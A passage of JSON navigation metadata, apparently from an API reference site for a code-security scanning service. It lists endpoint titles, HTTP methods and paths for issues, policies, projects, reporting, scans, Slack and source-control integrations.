/api/issues/{deploymentId}/counts","href":"/api-reference/v2/publicissuesservice/count-issues"},{"title":"Export issues as CSV","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/deployments/{deploymentId}/issue-exports","href":"/api-reference/v2/publicissuesservice/export-issues-as-csv"},{"title":"Get issue activity history","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/issues/{deploymentId}/issue/{issueId}/activity","href":"/api-reference/v2/publicissuesservice/get-issue-activity-history"},{"title":"Get issue by ID","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/issues/{deploymentId}/issue/{issueId}","href":"/api-reference/v2/publicissuesservice/get-issue-by-id"},{"title":"Triage issue","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/issues/{deploymentId}/issue/{issueId}","href":"/api-reference/v2/publicissuesservice/triage-issue"},{"title":"Get issue export","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/deployments/{deploymentId}/issue-exports/{exportId}","href":"/api-reference/v2/publicissuesservice/get-issue-export"},{"title":"List issues","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/issues/{deploymentId}/list","href":"/api-reference/v2/publicissuesservice/list-issues"}]},{"group":"Managed Scan Settings","pages":[{"title":"Get Semgrep Managed Scan settings","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/managed_scan_settings","href":"/api-reference/v2/managedscansettingsservice/get-semgrep-managed-scan-settings"},{"title":"Create Semgrep Managed Scan settings","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/managed_scan_settings","href":"/api-reference/v2/managedscansettingsservice/create-semgrep-managed-scan-settings"},{"title":"Update Semgrep Managed Scan settings","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml put /api/agent/deployments/{deploymentId}/managed_scan_settings/{managedScanSettingsId}","href":"/api-reference/v2/managedscansettingsservice/update-semgrep-managed-scan-settings"},{"title":"Delete Semgrep Managed Scan settings","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml delete /api/agent/deployments/{deploymentId}/managed_scan_settings/{managedScanSettingsId}","href":"/api-reference/v2/managedscansettingsservice/delete-semgrep-managed-scan-settings"}]},{"group":"Memories","pages":[{"title":"Create memory","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/ai/deployments/{deploymentId}/memories","href":"/api-reference/v2/memoriesservice/create-memory"},{"title":"Create memory from triage","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/ai/deployments/{deploymentId}/memories/triage","href":"/api-reference/v2/memoriesservice/create-memory-from-triage"},{"title":"Update memory","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml put /api/ai/deployments/{deploymentId}/memories/{memoryId}","href":"/api-reference/v2/memoriesservice/update-memory"},{"title":"Delete memory","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml delete /api/ai/deployments/{deploymentId}/memories/{memoryId}","href":"/api-reference/v2/memoriesservice/delete-memory"},{"title":"Find relevant issues","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/ai/deployments/{deploymentId}/relevant_issues","href":"/api-reference/v2/memoriesservice/find-relevant-issues"},{"title":"Get memories by IDs","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/ai/deployments/{deploymentId}/memories/ids","href":"/api-reference/v2/memoriesservice/get-memories-by-ids"},{"title":"Get memory statistics","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/ai/deployments/{deploymentId}/memories/stats","href":"/api-reference/v2/memoriesservice/get-memory-statistics"},{"title":"List memories","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/ai/deployments/{deploymentId}/memories/list","href":"/api-reference/v2/memoriesservice/list-memories"},{"title":"List suggested memories","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/ai/deployments/{deploymentId}/memories/suggested","href":"/api-reference/v2/memoriesservice/list-suggested-memories"}]},{"group":"Notification Rules","pages":[{"title":"Create notification rule","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/actions","href":"/api-reference/v2/notificationrulesservice/create-notification-rule"},{"title":"Replace notification rule","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml put /api/agent/deployments/{deploymentId}/actions/{notificationRuleId}","href":"/api-reference/v2/notificationrulesservice/replace-notification-rule"},{"title":"Delete notification rule","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml delete /api/agent/deployments/{deploymentId}/actions/{notificationRuleId}","href":"/api-reference/v2/notificationrulesservice/delete-notification-rule"},{"title":"List notification rules","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/actions/list","href":"/api-reference/v2/notificationrulesservice/list-notification-rules"},{"title":"Test notification rule","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/actions/{notificationRuleId}/test","href":"/api-reference/v2/notificationrulesservice/test-notification-rule"}]},{"group":"Notification Webhooks","pages":[{"title":"List notification webhooks","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/notification_webhooks/deployments/{deploymentId}/webhooks","href":"/api-reference/v2/notificationwebhooksservice/list-notification-webhooks"},{"title":"Create notification webhook","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/notification_webhooks/deployments/{deploymentId}/webhooks","href":"/api-reference/v2/notificationwebhooksservice/create-notification-webhook"},{"title":"Get notification webhook","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/notification_webhooks/deployments/{deploymentId}/webhooks/{webhookId}","href":"/api-reference/v2/notificationwebhooksservice/get-notification-webhook"},{"title":"Update notification webhook","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml put /api/notification_webhooks/deployments/{deploymentId}/webhooks/{webhookId}","href":"/api-reference/v2/notificationwebhooksservice/update-notification-webhook"},{"title":"Delete notification webhook","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml delete /api/notification_webhooks/deployments/{deploymentId}/webhooks/{webhookId}","href":"/api-reference/v2/notificationwebhooksservice/delete-notification-webhook"},{"title":"Test notification webhook","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/notification_webhooks/deployments/{deploymentId}/webhooks/{webhookId}/test","href":"/api-reference/v2/notificationwebhooksservice/test-notification-webhook"}]},{"group":"Policies","pages":[{"title":"List policies","deprecated":true,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/policies/v1/deployments/{deploymentId}","href":"/api-reference/v2/policiesservice/list-policies"},{"title":"List policy rules","deprecated":true,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/policies/v1/deployments/{deploymentId}/{policyId}/rules","href":"/api-reference/v2/policiesservice/list-policy-rules"},{"title":"Update policy rule","deprecated":true,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml put /api/policies/v1/deployments/{deploymentId}/{policyId}/rules/{rulePath}","href":"/api-reference/v2/policiesservice/update-policy-rule"}]},{"group":"Policies V2","pages":[{"title":"Get a detection policy","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml get /api/policies/v2/deployments/{deploymentId}/detection-policy/{product}","href":"/api-reference/v2/policiesv2service/get-a-detection-policy"},{"title":"Apply a detection policy","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml put /api/policies/v2/deployments/{deploymentId}/detection-policy/{product}","href":"/api-reference/v2/policiesv2service/apply-a-detection-policy"},{"title":"Get remediation policies","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml get /api/policies/v2/deployments/{deploymentId}/remediation-policies","href":"/api-reference/v2/policiesv2service/get-remediation-policies"},{"title":"Apply remediation policies","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml put /api/policies/v2/deployments/{deploymentId}/remediation-policies","href":"/api-reference/v2/policiesv2service/apply-remediation-policies"},{"title":"Get the detection policy summary","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml get /api/policies/v2/deployments/{deploymentId}/detection-policy","href":"/api-reference/v2/policiesv2service/get-the-detection-policy-summary"},{"title":"Get the policy vocabulary","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml get /api/policies/v2/deployments/{deploymentId}/vocab","href":"/api-reference/v2/policiesv2service/get-the-policy-vocabulary"},{"title":"Preview a detection policy apply","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml post /api/policies/v2/deployments/{deploymentId}/detection-policy/{product}:dryRun","href":"/api-reference/v2/policiesv2service/preview-a-detection-policy-apply"},{"title":"Preview a remediation policies apply","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml post /api/policies/v2/deployments/{deploymentId}/remediation-policies:dryRun","href":"/api-reference/v2/policiesv2service/preview-a-remediation-policies-apply"}]},{"group":"Projects","pages":[{"title":"Add Semgrep CI secrets to GitHub repositories","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/repos/_secret","href":"/api-reference/v2/projectsservice/add-semgrep-ci-secrets-to-github-repositories"},{"title":"Archive project","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/repos/{repoId}/archive","href":"/api-reference/v2/projectsservice/archive-project"},{"title":"Bulk archive projects","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/repos/_archive","href":"/api-reference/v2/projectsservice/bulk-archive-projects"},{"title":"Bulk edit projects by filter","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml patch /api/agent/deployments/{deploymentId}/repos/filtered","href":"/api-reference/v2/projectsservice/bulk-edit-projects-by-filter"},{"title":"Bulk edit selected projects","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml patch /api/agent/deployments/{deploymentId}/repos","href":"/api-reference/v2/projectsservice/bulk-edit-selected-projects"},{"title":"Get project","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/v2/deployments/{deploymentId}/projects/{projectId}","href":"/api-reference/v2/projectsservice/get-project"},{"title":"Delete project","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml delete /api/v2/deployments/{deploymentId}/projects/{projectId}","href":"/api-reference/v2/projectsservice/delete-project"},{"title":"Get branch","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/v2/deployments/{deploymentId}/projects/{projectId}/branches/{branchId}","href":"/api-reference/v2/projectsservice/get-branch"},{"title":"Get project count","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/repos/count","href":"/api-reference/v2/projectsservice/get-project-count"},{"title":"List project IDs by tag","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/repos/by-tag","href":"/api-reference/v2/projectsservice/list-project-ids-by-tag"},{"title":"List projects","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/v2/deployments/{deploymentId}/projects/list","href":"/api-reference/v2/projectsservice/list-projects"},{"title":"Provision Semgrep CI GitHub Actions","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/repos/_provision","href":"/api-reference/v2/projectsservice/provision-semgrep-ci-github-actions"},{"title":"Sync all projects to SCM","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/repos/_refresh_async","href":"/api-reference/v2/projectsservice/sync-all-projects-to-scm"},{"title":"Sync project to SCM","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/repos/{repoId}/_sync","href":"/api-reference/v2/projectsservice/sync-project-to-scm"},{"title":"Update project","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml patch /api/agent/deployments/{deploymentId}/repos/{idOrName}","href":"/api-reference/v2/projectsservice/update-project"}]},{"group":"Projects - Managed Scan Settings","pages":[{"title":"Bulk get many projects' Managed Scan settings","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/sms/v2/deployments/{deploymentId}/project_settings","href":"/api-reference/v2/projectmanagedscansettingsservice/bulk-get-many-projects-managed-scan-settings"},{"title":"Get a project's Managed Scan settings","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/sms/v2/deployments/{deploymentId}/projects/{projectId}/settings","href":"/api-reference/v2/projectmanagedscansettingsservice/get-a-projects-managed-scan-settings"}]},{"group":"Reporting","pages":[{"title":"Get backlog by product report","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/backlog/by-product","href":"/api-reference/v2/reportsservice/get-backlog-by-product-report"},{"title":"Get backlog by rule report","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/backlog/by-rule","href":"/api-reference/v2/reportsservice/get-backlog-by-rule-report"},{"title":"Get backlog by severity report","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/backlog/by-severity","href":"/api-reference/v2/reportsservice/get-backlog-by-severity-report"},{"title":"Get findings activity report","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/activity","href":"/api-reference/v2/reportsservice/get-findings-activity-report"},{"title":"Get findings by project and product report","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/by-project/by-product","href":"/api-reference/v2/reportsservice/get-findings-by-project-and-product-report"},{"title":"Get findings by project and severity report","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/by-project/by-severity","href":"/api-reference/v2/reportsservice/get-findings-by-project-and-severity-report"},{"title":"Get findings funnel report","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/funnel","href":"/api-reference/v2/reportsservice/get-findings-funnel-report"},{"title":"Get guardrails activity report","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/guardrails-activity","href":"/api-reference/v2/reportsservice/get-guardrails-activity-report"},{"title":"Get guardrails adoption report","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/guardrails-adoption","href":"/api-reference/v2/reportsservice/get-guardrails-adoption-report"},{"title":"Get Malware Firewall blocked malicious dependencies by advisory report","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/malware-firewall/blocked-mal-deps/by-advisory","href":"/api-reference/v2/reportsservice/get-malware-firewall-blocked-malicious-dependencies-by-advisory-report"},{"title":"Get Malware Firewall blocked malicious dependencies by dependency, version, and ecosystem report","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/malware-firewall/blocked-mal-deps/by-dep-version-and-ecosystem","href":"/api-reference/v2/reportsservice/get-malware-firewall-blocked-malicious-dependencies-by-dependency-version-and-ecosystem-report"},{"title":"Get Malware Firewall blocked malicious dependencies by ecosystem report","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/malware-firewall/blocked-mal-deps/by-ecosystem","href":"/api-reference/v2/reportsservice/get-malware-firewall-blocked-malicious-dependencies-by-ecosystem-report"},{"title":"Get Malware Firewall scan activity report","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/malware-firewall/scan-activity","href":"/api-reference/v2/reportsservice/get-malware-firewall-scan-activity-report"},{"title":"Get Malware Firewall summary report","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/malware-firewall/summary","href":"/api-reference/v2/reportsservice/get-malware-firewall-summary-report"},{"title":"Get median open age by product report","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/median-open-age/by-product","href":"/api-reference/v2/reportsservice/get-median-open-age-by-product-report"},{"title":"Get median open age by severity report","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml post /api/reporting/{deploymentId}/reports/median-open-age/by-severity","href":"/api-reference/v2/reportsservice/get-median-open-age-by-severity-report"},{"title":"Get report findings","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml post /api/reporting/{deploymentId}/findings","href":"/api-reference/v2/reportsservice/get-report-findings"}]},{"group":"Review Comment Product Content","pages":[{"title":"List review comment product content","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/deployments/{deploymentId}/scm_comment_product_content","href":"/api-reference/v2/reviewcommentproductcontentservice/list-review-comment-product-content"},{"title":"Create review comment product content","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/deployments/{deploymentId}/scm_comment_product_content","href":"/api-reference/v2/reviewcommentproductcontentservice/create-review-comment-product-content"},{"title":"Update review comment product content","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml put /api/deployments/{deploymentId}/scm_comment_product_content/{reviewCommentProductContentId}","href":"/api-reference/v2/reviewcommentproductcontentservice/update-review-comment-product-content"},{"title":"Delete review comment product content","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml delete /api/deployments/{deploymentId}/scm_comment_product_content/{reviewCommentProductContentId}","href":"/api-reference/v2/reviewcommentproductcontentservice/delete-review-comment-product-content"}]},{"group":"Ruleboards","pages":[{"title":"List ruleboards","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/ruleboards","href":"/api-reference/v2/ruleboardservice/list-ruleboards"},{"title":"Create ruleboard","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/ruleboards","href":"/api-reference/v2/ruleboardservice/create-ruleboard"},{"title":"Get ruleboard","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/ruleboards/{ruleboardSlug}","href":"/api-reference/v2/ruleboardservice/get-ruleboard"},{"title":"Update ruleboard","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml put /api/agent/deployments/{deploymentId}/ruleboards/{ruleboardSlug}","href":"/api-reference/v2/ruleboardservice/update-ruleboard"},{"title":"Delete ruleboard","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml delete /api/agent/deployments/{deploymentId}/ruleboards/{ruleboardSlug}","href":"/api-reference/v2/ruleboardservice/delete-ruleboard"},{"title":"Get ruleboard finding counts","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/ruleboards/{ruleboardSlug}/finding_counts","href":"/api-reference/v2/ruleboardservice/get-ruleboard-finding-counts"},{"title":"Get ruleboard overview","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/ruleboards/{ruleboardSlug}/overview","href":"/api-reference/v2/ruleboardservice/get-ruleboard-overview"},{"title":"Update ruleboard overview","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml put /api/agent/deployments/{deploymentId}/ruleboards/{ruleboardSlug}/overview","href":"/api-reference/v2/ruleboardservice/update-ruleboard-overview"}]},{"group":"Scans","pages":[{"title":"Get scan","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml get /api/v2/deployments/{deploymentId}/scans/{scanId}","href":"/api-reference/v2/scansservice/get-scan"},{"title":"List scan subproject stats","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/deployments/{deploymentId}/scans/{scanId}/subproject-stats","href":"/api-reference/v2/scansservice/list-scan-subproject-stats"},{"title":"List scans","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml post /api/v2/deployments/{deploymentId}/projects/{projectId}/scans/list","href":"/api-reference/v2/scansservice/list-scans"},{"title":"Retry failed Managed Scans","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml post /api/v2/deployments/{deploymentId}/scans/retry","href":"/api-reference/v2/scansservice/retry-failed-managed-scans"}]},{"group":"Semgrep Agentic Workflows","pages":[{"title":"Get workflow job findings","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/workflows/v1/deployments/{deploymentId}/jobs/id/{jobId}/findings","href":"/api-reference/v2/semgrepworkflowsservice/get-workflow-job-findings"},{"title":"Get workflow job overview","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/workflows/v1/deployments/{deploymentId}/jobs/id/{jobId}/overview","href":"/api-reference/v2/semgrepworkflowsservice/get-workflow-job-overview"},{"title":"List available workflow types","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/workflows/v1/deployments/{deploymentId}/registry","href":"/api-reference/v2/semgrepworkflowsservice/list-available-workflow-types"},{"title":"List workflow jobs","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/workflows/v1/deployments/{deploymentId}/jobs/list","href":"/api-reference/v2/semgrepworkflowsservice/list-workflow-jobs"},{"title":"Trigger a workflow run","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/workflows/v1/deployments/{deploymentId}/trigger","href":"/api-reference/v2/semgrepworkflowsservice/trigger-a-workflow-run"}]},{"group":"Slack","pages":[{"title":"Get Slack installation details","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/slack/installations","href":"/api-reference/v2/slackservice/get-slack-installation-details"},{"title":"Delete Slack installation","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml delete /api/agent/deployments/{deploymentId}/slack/installations","href":"/api-reference/v2/slackservice/delete-slack-installation"},{"title":"Get Slack app installation URL","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/slack/install","href":"/api-reference/v2/slackservice/get-slack-app-installation-url"},{"title":"Get Slack channel mappings","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/slack/channel_mappings","href":"/api-reference/v2/slackservice/get-slack-channel-mappings"},{"title":"Get Slack notification mappings","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/slack/channels","href":"/api-reference/v2/slackservice/get-slack-notification-mappings"},{"title":"Handle Slack OAuth callback","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/slack/oauth/callback","href":"/api-reference/v2/slackservice/handle-slack-oauth-callback"}]},{"group":"Source Code Management (SCM) apps","pages":[{"title":"Add Azure DevOps project","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/scm/deployments/{deploymentId}/scm_apps/{scmAppId}/add_ado_project","href":"/api-reference/v2/scmappsservice/add-azure-devops-project"},{"title":"Complete Azure DevOps SCM app install","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml put /api/scm/ado_app_install","href":"/api-reference/v2/scmappsservice/complete-azure-devops-scm-app-install"},{"title":"Complete Cursor Origin installation","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/deployments/{deploymentId}/cursor-installations/{requestId}/receipt","href":"/api-reference/v2/scmappsservice/complete-cursor-origin-installation"},{"title":"Complete SCM app request","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml put /api/scm/app_request_complete","href":"/api-reference/v2/scmappsservice/complete-scm-app-request"},{"title":"Create Azure DevOps SCM app (Service Principal)","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/scm/ado_app","href":"/api-reference/v2/scmappsservice/create-azure-devops-scm-app-service-principal"},{"title":"Create SCM app request","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/scm/app_request","href":"/api-reference/v2/scmappsservice/create-scm-app-request"},{"title":"Delete SCM app","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml delete /api/scm/deployments/{deploymentId}/scm_apps/{scmAppId}","href":"/api-reference/v2/scmappsservice/delete-scm-app"},{"title":"Get public GitHub app status","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/scm/deployments/{deploymentId}/scm_apps/public_gha","href":"/api-reference/v2/scmappsservice/get-public-github-app-status"},{"title":"Get SCM app","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/scm/deployments/{deploymentId}/scm_apps/{requestId}","href":"/api-reference/v2/scmappsservice/get-scm-app"},{"title":"List SCM apps","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/scm/deployments/{deploymentId}/scm_apps","href":"/api-reference/v2/scmappsservice/list-scm-apps"},{"title":"Rotate SCM app webhook secret","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/scm/deployments/{deploymentId}/scm_apps/{scmAppId}/rotate_webhook_secret","href":"/api-reference/v2/scmappsservice/rotate-scm-app-webhook-secret"},{"title":"Start Cursor Origin installation","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/deployments/{deploymentId}/cursor-installations","href":"/api-reference/v2/scmappsservice/start-cursor-origin-installation"}]},{"group":"Source Code Management (SCM) configurations","pages":[{"title":"Check SCM config","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/scm/deployments/{deploymentId}/configs/{configId}/check","href":"/api-reference/v2/scmservice/check-scm-config"},{"title":"List SCM configs","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/scm/deployments/{deploymentId}/configs","href":"/api-reference/v2/scmservice/list-scm-configs"},{"title":"Create SCM config","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/scm/deployments/{deploymentId}/configs","href":"/api-reference/v2/scmservice/create-scm-config"},{"title":"Delete SCM config","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml delete /api/scm/deployments/{deploymentId}/configs/{configId}","href":"/api-reference/v2/scmservice/delete-scm-config"},{"title":"Update SCM config","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml patch /api/scm/deployments/{deploymentId}/configs/{configId}","href":"/api-reference/v2/scmservice/update-scm-config"},{"title":"Search SCM configs","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/scm/deployments/{deploymentId}/configs/search","href":"/api-reference/v2/scmservice/search-scm-configs"},{"title":"Sync SCM config","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/scm/deployments/{deploymentId}/configs/{configId}/_sync","href":"/api-reference/v2/scmservice/sync-scm-config"}]},{"group":"Source Code Management (SCM) webhooks","pages":[{"title":"List SCM webhook subscriptions","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/scm/deployments/{deploymentId}/subscriptions/{configId}","href":"/api-reference/v2/scmsubscriptionsservice/list-scm-webhook-subscriptions"},{"title":"Subscribe to SCM webhook","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml put /api/scm/deployments/{deploymentId}/subscriptions/{configId}","href":"/api-reference/v2/scmsubscriptionsservice/subscribe-to-scm-webhook"},{"title":"Unsubscribe from SCM webhook","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml delete /api/scm/deployments/{deploymentId}/subscriptions/{configId}","href":"/api-reference/v2/scmsubscriptionsservice/unsubscribe-from-scm-webhook"},{"title":"Rotate SCM webhook secret","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/scm/deployments/{deploymentId}/subscriptions/{configId}/rotate_secret","href":"/api-reference/v2/scmsubscriptionsservice/rotate-scm-webhook-secret"}]},{"group":"Supply Chain","pages":[{"title":"Generate a project's SBOM","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/sca/deployments/{deploymentId}/sbom_async","href":"/api-reference/v2/supplychain2service/generate-a-projects-sbom"},{"title":"List 